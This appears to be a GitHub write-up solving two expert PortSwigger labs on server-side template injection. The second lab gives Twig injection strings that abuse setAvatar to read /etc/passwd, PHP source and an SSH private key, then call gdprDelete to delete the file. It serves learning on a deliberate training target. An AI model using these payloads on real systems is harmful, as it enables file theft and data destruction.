portswigger-all-labs

Complete PortSwigger Web Security Academy Lab Writeups Detailed, categorized solutions for every lab — from APPRENTICE to EXPERT — covering all 30 vulnerability types.

View on GitHub

Labs Covered

This write-up focuses on the following EXPERT-level labs from the PortSwigger Web Security Academy related to Server-side template injection (SSTI):

6 Server-side template injection in a sandboxed environment

This lab demonstrates how attackers can bypass template engine sandbox restrictions to achieve code execution.

7 Server-side template injection with a custom exploit

This lab shows how attackers can craft custom payloads to exploit SSTI in non-standard or custom template engine implementations.

LAB 6 - Server-side template injection in a sandboxed environment

Lab Description

image

Solution

Now give random objection instance of price I give it king and give me error which will reveal template being used so freemarker java.

image

We execute 2 payload and get 49

image

And get 9

image

Now when we used payload to bypass sandbox it is giving me below error which says article is not defined.

image

So we will used product because product is object in it.

image

At bottom we can see the result of my_password.txt. And the submit ty00vv4k6u5keypnia1a and lab is solved

image


LAB 7 - Server-side template injection with a custom exploit

Lab Description

image

Solution

Solution 1: My Solution

This lab was pretty cool and enjoyable. It took me a few days to solve it because initially, I went in the wrong direction by focusing too much on the Twig documentation. Although studying template engine documentation is often necessary for real-world exploitation (e.g., learning about custom templates, extensions, filters, gadgets for RCE or file read), in this case, it was not the right path.

I tried creating and uploading custom Twig templates, extensions, and filters using the avatar upload functionality. I even attempted uploading custom PHP files, but none of these methods worked due to Twig’s security hardening. Eventually, I realized I needed to focus on developer-created objects exposed in the templates.

Tip from Web Security Academy

Some template engines run in a secure, locked-down environment. While this makes RCE harder, developer-created objects may expose an easier attack surface.

So, we look for those developer-created objects. That’s tip #1.

Initial Observation

  1. Log in as the wiener user and intercept requests using Burp.
  2. Navigate to the “My account” page.
  3. Notice the parameter blog-post-author-display=user.first_name when choosing a “Preferred name.”

    image

image

image

  1. Also post a comment. Observe that your preferred name is reflected as the comment author.

    image

Test for SSTI

Send a modified POST request via Burp Repeater:

blog-post-author-display=user.first_name$

image

image

This triggers an error — confirming a Twig-based SSTI.

Now test a basic Twig operation:

blog-post-author-display=user.first_name}}


None of these resulted in code execution. So, still template injection, but no direct RCE.

Exploring Avatar Upload

Try uploading invalid file types (e.g., no file or a PHP file) — observe the error messages:

image

Try executing that method:

blog-post-author-display=user.setAvatar()

image

Error confirms that the method exists and can be triggered.

Reading Sensitive Files

You must pass two parameters to setAvatar: filepath and MIME type.

Try:

blog-post-author-display=user.setAvatar('/home/carlos/User.php','image/jpeg')

Refresh the comment — the avatar image becomes a symlink to the PHP file. Open image in new tab → get the PHP source code.

image

image

Repeat for:

blog-post-author-display=user.setAvatar('/home/carlos/avatar_upload.php','image/jpeg')

image Nothing to see here :)

Finding the gdprDelete() Method

Discovered in User.php:

public function gdprDelete() {
    $this->rm(readlink($this->avatarLink));
    $this->rm($this->avatarLink);
    $this->delete();
}

image

image

Nothing to see here :)

Final Exploit - Delete Sensitive File

  1. Set symlink to sensitive file:
blog-post-author-display=user.setAvatar('/home/carlos/.ssh/id_rsa','image/jpeg')

image

image

  1. Execute the deletion:
blog-post-author-display=user.gdprDelete()

Result: The file is deleted and lab is solved!

image

We send this request and refresh the post page that we had commented on to execute the payload and booom! The /home/carlos/.ssh/id_rsa file is deleted and the lab is solved!

image

Warning

Don’t run:

user.setAvatar('/home/carlos/User.php','image/jpeg')
user.gdprDelete()

It will break the lab and force a 20-minute reset.


Solution 2: Web Security Academy’s Solution

  1. Proxy traffic and log in. Post a comment.
  2. Notice that the preferred name feature is vulnerable to SSTI.
  3. Upload an invalid avatar. Observe error message exposing user.setAvatar() and /home/carlos/User.php.
  4. Upload a valid image and comment again.
  5. Use:
user.setAvatar('/etc/passwd')
  1. Error requires MIME type:
user.setAvatar('/etc/passwd','image/jpg')
  1. View the avatar at /avatar?avatar=wiener — confirms file read.
  2. Read:
user.setAvatar('/home/carlos/User.php','image/jpg')
  1. Find gdprDelete() in the PHP file.
  2. Set target file:
user.setAvatar('/home/carlos/.ssh/id_rsa','image/jpg')
  1. Execute delete:
user.gdprDelete()

Lab solved.